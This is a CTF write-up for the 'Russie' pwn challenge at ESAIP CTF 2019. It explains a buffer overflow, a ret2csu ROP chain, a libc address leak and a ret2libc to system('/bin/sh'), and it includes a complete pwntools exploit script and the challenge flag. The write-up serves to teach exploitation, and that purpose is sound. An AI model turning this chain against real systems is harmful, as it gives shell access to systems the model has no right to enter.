ESAIP CTF 2019 - Russie (pwn)

I and my CTF team Hackatsuki recently participated to the ESAIP CTF 2019 which lasted over 10 hours. The challenges weren't really diversified but the pwn was pretty nice. We reached the 4th place in the scoreboard !

 

This CTF used the Facebook CTF platform, fbctf  which UI is pretty awesome but has some bugs. Each challenge was bound to a country, for example Belarus, Chile, Russia, America, Canda was pwn challenges. Canada was the only challenge I could not solve but Mini'Kube dit it insanely and Russie was the last one in pwn series with 455 points.

 

You should ROP

The binary include only the main function which is pretty short, only write, setvbuf and read  are called and so will be in the PLT. About the mitigations the NX bit, ASLR and RELRO are enabled.

 

The vulnerability resides in the read function which will read 0x15E (350) bytes from stdin and write it in the  ~100 bytes buffer. It's like we have to do some ROP now !

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-70h]

  write(1, "Hello ROP\n", 0xAuLL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  return read(0, &buf, 0x15EuLL);
}
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL
gdb-peda$ info func @plt
All functions matching regular expression "@plt":

Non-debugging symbols:
0x0000000000401030  write@plt
0x0000000000401040  read@plt
0x0000000000401050  setvbuf@plt

 

Sadly the binary is compiled for dynamic linking, the amount of gadget will be very restricted. 

__LIBC_CSU_INIT

But hopefully there are gadgets always presents in binary in the __libc_csu_init function. The __libc_csu_init is defined as attached code because no matter what you wrote, the binary will always hold this function.

 

For intel x64 binary (System V AMD64 ABI) functions, parameters are passed the following way 

 

1 RDI
2 RSI
3 RDX
4 RCX
5 R8
6 R9
n STACK

 

In order to make functions call via our ROP we need to control at least RDI, RSI, RDX because the only availables functions, write and read have 3 parameters.

 

  • the gadget at 0x0000000000401212 allows us to control : rbx, rbp, r12, r13, r14, r15
  • the gadget at 0x00000000004011f8 allows us to control rdx, rsi and edi 
  • the gadget at 0x0000000000401201  lets us call [r12 + rbx * 8] (we control both of them thanks to the first gadget)

We do not control the 4 highest bytes of RDI but no worries therere is a gadget in the binary 

gdb-peda$ x/2i 0x000000000040121b
   0x40121b <__libc_csu_init+91>:	pop    rdi
   0x40121c <__libc_csu_init+92>:	ret    
gdb-peda$ 

As you see theses gadgets let us call whatever we want and as many time as we want because right after the call, if rbx == rbp, we will pop again our arguments and ret the gadget we want !

 

Payloading

 

My first idea was :

  • write(stdout, read_got, 8) ; leaking read address in order to get libc base address
  • read(1, bss, 8) ; to write system address somewhere we control like bss
  • and then call [bss] via the ret2csu.

 

But there is something much easier :

  • write(stdout, read_got, 8) ; leaking read address in order to get libc base address
  • ret2main in order to send another payload
  • ret2libc with system address previously leaked and calculated

 

Here the schema of the scenario

STAGE 1

+-------------------------------+
|            A * 120            |
+-------------------------------+
|            pop_all            | <----------+ MAIN SAVED EIP
+-------------------------------+
|            0 ; rbx            | <----------+ pop rbx
+-------------------------------+
|            1 ; rbp            | <----------+ pop rbp
+-------------------------------+
|            write_got          | <----------+ pop r12
+-------------------------------+
|           1 ; args 1          | <----------+ pop r13
+-------------------------------+
|        read_got; args 2       | <----------+ pop r14
+-------------------------------+
|           8 ; args 3          | <----------+ pop r15
+-------------------------------+
|         mov rdx,r15           |
|         mov rsi,r14           |
|         mov edi,r13d          | <----------+ ret
|       call [r12 + rbx * 8]    |
|            [...]              |
|            pop ret            |
+-------------------------------+
|            NOPE * 7           | <----------+ after call, there is add rsp, 0x8 and pop * 6
+-------------------------------+
|           main_addr           | <----------+ ret
+-------------------------------+

This will leak the read address and go back to main to execute again the program, the stage 2 will trigger the ret2libc

STAGE 2

+-------------------------------+
|            A * 120            |
+-------------------------------+
|            pop_rdi            | <---------+ MAIN SAVED EIP
+-------------------------------+
|          /bin/sh addr         |
+-------------------------------+
|          system addr          |
+-------------------------------+

 

Here the full exploit 

from pwn import *
from struct import unpack

local = False

p = remote("172.16.128.39", 31336)
p.readuntil("ROP")

##############################

NOPE = p64(0x4143414241434142)

main = 0x401142

pop_rdi = 0x000000000040121b
pop_all = 0x0000000000401212 # rbx rbp 12 13 14 15
mov_rdx_r15_rsi_r14 = 0x00000000004011f8

write_got = 0x403fd8
read_got = 0x403fe0

bss = 0x404018

if local:
    read_offset = 0x00000000000db900
    system_offset = 0x000000000003f480
    bin_sh_offset = 0x161c19
else:
    read_offset = 0x00000000000e4680
    system_offset = 0x0000000000041af0
    bin_sh_offset = 0x17699e

# write = 1, ptr src, size
# read = 0, ptr dest, size

#[ STAGE 1]###########################
payload = "A" * 120
### write(1, read, 8)
payload += p64(pop_all)
payload += p64(0) # rbx
payload += p64(1) # rbp : must be < rbx
payload += p64(write_got) #r12 # call
payload += p64(0x1) # arg 1
payload += p64(read_got) # arg 2
payload += p64(0x8) # arg3

payload += p64(mov_rdx_r15_rsi_r14)
payload += NOPE * 7
payload += p64(main) # adresse de la suite de la rop

p.sendline(payload)

#[ LEAK ###########################
p.read()
leak = p.read()[:8]
libc_addr = unpack("<Q", leak)[0] - read_offset
system_addr = libc_addr + system_offset
bin_sh = libc_addr + bin_sh_offset
exit = libc_addr + 0x0000000000035980
log.info("libc @ " + hex(libc_addr))

#[ STAGE 2]###########################
stage2 = "A" * 120
### system(sh)
stage2 += p64(pop_rdi)
stage2 += p64(bin_sh)
stage2 += p64(system_addr)

p.sendline(stage2)
p.interactive()

#ectf19{H_a_cker_detect_e_d_0011010}